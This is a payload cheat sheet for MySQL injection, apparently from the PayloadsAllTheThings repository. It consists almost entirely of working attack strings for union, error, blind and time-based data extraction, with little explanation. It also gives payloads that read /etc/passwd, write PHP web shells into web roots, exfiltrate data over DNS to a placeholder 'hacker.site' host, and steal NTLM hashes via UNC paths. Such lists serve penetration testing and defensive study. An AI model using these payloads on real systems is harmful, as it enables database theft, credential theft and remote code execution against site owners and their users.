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PayloadsAllTheThings/SQL injection/MySQL Injection.md
Swissky 40f86d39b0 MYSQL - Extract data without columns name
2019-02-17 21:51:21 +01:00

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MYSQL Injection

MYSQL

# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MYSQL version 3.23.02

Detect columns number

Using a simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

MYSQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

Extract data without information_schema

Extracting data from the 4th column without knowing its name.

select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;

Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
```


## MYSQL Error Based - Basic

```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```

## MYSQL Error Based - UpdateXML function

```sql
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
```

Shorter to read:

```sql
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
```

## MYSQL Error Based - Extractvalue function

```sql
AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```

## MYSQL Blind using a conditional statement

TRUE: `if @@version starts with a 5`:

```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```

False: `if @@version starts with a 4`:

```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

## MYSQL Blind with MAKE_SET

```sql
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

## MYSQL Blind with wildcard character

['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing

```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```

## MYSQL Time Based

```sql
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```

## MYSQL Read content of a file

```sql
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```

## MYSQL DIOS - Dump in One Shot

```sql
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
```

## MYSQL DROP SHELL

```sql
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>
-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```

## MYSQL Out of band

```powershell
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```

DNS exfiltration

```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```

UNC Path - NTLM hash stealing

```sql
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```


## References

- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)